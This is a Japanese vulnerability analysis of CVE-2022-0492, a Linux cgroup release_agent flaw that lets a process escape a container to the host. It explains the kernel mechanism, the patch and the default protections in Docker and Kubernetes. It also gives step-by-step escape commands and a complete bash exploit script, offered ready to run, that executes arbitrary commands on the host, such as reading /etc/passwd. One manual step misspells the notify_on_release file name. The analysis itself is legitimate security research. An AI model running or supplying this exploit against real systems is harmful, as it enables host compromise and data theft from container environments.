[toc]
脆弱性番号: CVE-2022-0492
脆弱性製品: linux kernel - cgroup
影響バージョン: ~linux kernel 5.17-rc3
脆弱性の影響: コンテナに追加のセキュリティ対策が施されていない場合、コンテナ内のroot権限を取得することでホストにエスケープ可能
脆弱性のあるバージョンのカーネルを搭載したLinux上でdockerを使用する。
# すべてのセキュリティ保護を無効にしてdockerを起動
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
本稿ではdockerを実験環境として使用する。
本脆弱性の悪用手法はすでにおなじみのものですが、脆弱性が発生するポイントはcgroupのrelease_agentを変更する際に権限チェックが欠如している点にあり、エスケープ利用のハードルがさらに低下しました(以前はCAP_SYS_ADMIN権限が必要でしたが、本脆弱性ではCAP_SYS_ADMINが不要です)。具体的な利用前提の違いについては、下記「利用条件」を参照してください。
パッチを分析すると、cgroup_release_agent_write関数にパッチが当てられ、認証が追加されています。cgroupのrelease_agentは、権限のないユーザーが変更できなくなりました。

したがって、本脆弱性は無効なアクセス制御であると特定されました。
cgroup (Linux Control Group) はLinuxカーネルの機能であり、プロセスグループのリソース(CPU、メモリ、ディスクI/Oなど)を制限、制御、分離するために使用されます。
cgroup には以下のサブシステムがあります:
devices プロセス範囲のデバイス権限cpuset プロセスが使用可能なCPU数とメモリノードを割り当てcpu CPU使用率を制御cpuacct CPU使用状況(実行時間、スロットル時間など)を統計memory メモリ使用上限を制限freezer Cgroup内のプロセスを一時停止net_cls tc(traffic controller)と連携してネットワーク帯域を制限net_prio プロセスのネットワークトラフィック優先度を設定huge_tlb HugeTLBの使用を制限perf_event PerfツールがCgroupグループに基づいてパフォーマンス検出を行うことを許可ホスト上のcgroupはすべて/sys/fs/cgroupにあり、各cgroupサブシステムを確認できます:

docker内の対応するcgroupサブシステムは、ホスト上のそのcgroupの子ノードです。docker内でmemory cgroupを確認:

ホストのdockerディレクトリ内の対応するコンテナ名ノードは、まったく同じです:

cgroupはファイルシステムの形式で使用され、mount によってcgroupをディレクトリにマウントします。cgroupはVFS仮想ファイルシステムを通じて対話し、cgroupのインターフェースはファイルの形式で提供され、ファイル操作と同様の方法でcgroupのパラメータを設定します。
mount -t cgroup -o memory cgroup /tmp/testcgroup

ディレクトリ下にサブディレクトリを作成することで、cgroup子ノードを作成できます。mkdir /tmp/testcgroup/x
cgroupの各サブシステムにはパラメータnotify_on_releaseがあり、その値はBoolean型で1または0です。リリースエージェントの指令を有効または無効にできます。notify_on_releaseが有効(1)の場合、cgroupがタスクを含まなくなったとき(つまりcgroup内の最後のプロセスが終了し、cgroupのtasksファイルのPIDが空になったとき)、システムカーネルはrelease_agentパラメータで指定されたファイルの内容を実行します。notify_on_releaseファイルを変更することでnotify_on_releaseの値を変更します。

脆弱性はrelease_agentの変更に関連して発生します。本来はcgroupを操作できるならばrelease_agentを変更できましたが、cgroupを使用するにはCAP_SYS_ADMINが必要でした。しかし後に研究者がunshareコマンドを使って新しいnamespaceを作成することで全てのcapabilityを取得できることを発見し、CAP_SYS_ADMINの制限は事実上なくなり、脆弱性利用のハードルが大幅に低下しました。
unshareコマンドの機能は、指定された親プロセスの名前空間の共有を解除し、指定されたプログラムを実行して新しく作成されたnamespaceに追加することです。本脆弱性の利用に関連するのは、unshareで新しく作成されたnamespaceは、CAP_SYS_ADMINを含むすべてのcapabilityを持つことです。

本脆弱性の悪用は、従来のCAP_SYS_ADMIN + cgroup release_agent エスケープ方法と同じですが、利用条件が異なります。
従来のrelease_agentエスケープとの利用条件の違いは次のとおりです:
従来のrelease_agent:コンテナがCAP_SYS_ADMINを持ち、かつapparmor、selinuxが無効になっている必要がある。
cve-2022-0492:コンテナが「裸」の状態(より詳細には、seccompがunshareを無効にしておらず、apparmorがcgroup読み取り専用を有効にしておらず、selinuxが無効)であり、コンテナ内のroot権限を取得する。CAP_SYS_ADMINは不要。
特筆すべきは、dockerのapparmorはデフォルトでcgroup読み取り専用を有効にし、dockerのseccompはデフォルトで非CAP_SYS_ADMIN権限でのunshareを無効にすることです。k8sのデフォルトは通常「裸」のコンテナです。いずれにせよ、悪用が比較的容易であるため、具体的なシナリオで試すことができます。
脆弱性修正後:パッチのコードによれば:

release_agentファイルを変更するには、次の2つの条件を満たす必要があります:
したがって、脆弱性修正後は、unshareで取得したCAP_SYS_ADMIN権限ではrelease_agentを変更できなくなります。なぜなら、unshareで取得した新しい名前空間はルート名前空間ではないからです。ただし、コンテナ自体にCAP_SYS_ADMIN権限がある場合は、引き続きこの方法でエスケープできます。
dockerの起動に--cap-add=SYS_ADMINパラメータまたは--privileged(特権コンテナ)が含まれている場合、CAP_SYS_ADMIN権限が付与されているため、追加で取得する必要はありません。次のような起動コマンド:
# sys_admin付きでdocker起動、apparmorを無効(マウントできないため)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
CAP_SYS_ADMIN権限を持つdockerでは、次のステップ「release_agentの変更」に直接進めます。CAP_SYS_ADMIN権限なしでdockerを起動し、脆弱性を再現するコマンド:
# すべてのセキュリティ保護を無効にしてdockerを起動
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
CAP_SYS_ADMINがない場合、次のunshareコマンドでCAP_SYS_ADMIN権限を取得します:
unshare -UrmC --propagation=unchanged bash
新しく取得した名前空間はすべてのcapability権限を持ちます。

cgroupをディレクトリにマウントします。このステップではmountを使用するため、CAP_SYS_ADMIN権限が必要です。前のステップでCAP_SYS_ADMINを既に持っているか、unshareで取得している必要があります。さらに、マウントしたcgroup内にcgroupノードを作成し、後でtaskをクリアする操作を容易にします:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# さらに /tmp/testcgroup 内に作成
mkdir /tmp/testcgroup/x
ここで memory がマウントできない場合、または memory に release_agent がない場合は、他のcgroupサブシステムに変更してください。
/etc/mtabファイルからマウントされたdocker overlayファイルシステム情報を確認できます。upperdirはコンテナのルートディレクトリのホスト上の絶対パスです:

次のコマンドで取得できます:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
notify_on_releaseを1に設定し、taskプロセスが空になった後にrelease_agent機能を実行するようにします:
echo 1 > /tmp/testcgroup/x/notify_no_release
release_agentトリガー時に実行されるファイルを作成します:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
release_agentを変更し、ホスト上のcmdファイルのパス(上記で取得したコンテナルートディレクトリのホスト上のパス)を指定します:
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
次に、x cgroupノードにタスクを入力します。自分の所属するshのPIDをcgroup.procsに書き込みます。
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
shコマンドはecho命令のみを実行し、一瞬で終了するため、x cgroupノードにはタスクがなくなります。これによりnotify_on_releaseがトリガーされ、release_agentが指す/cmdファイルが実行され、カーネルがトリガーされ、コンテナ外で指定したコマンドが実行され、エスケープが完了します。エスケープ成功:

手順に従ってexpを作成しました:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
直接実行し、実行したいエスケープコマンドを引数として渡します:例:./exp.sh "cat /etc/passwd"
エスケープ成功:

dockerのデフォルト状態ではseccompとapparmorが有効になっており、デフォルトルールのseccompとapparmorが有効なコンテナでは脆弱性を悪用できません。k8sのデフォルトにはセキュリティ対策がなく、手動でseccompとapparmorまたはselinuxを有効にする必要があります。
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
また、この脆弱性の発掘者にも問い合わせを行いました。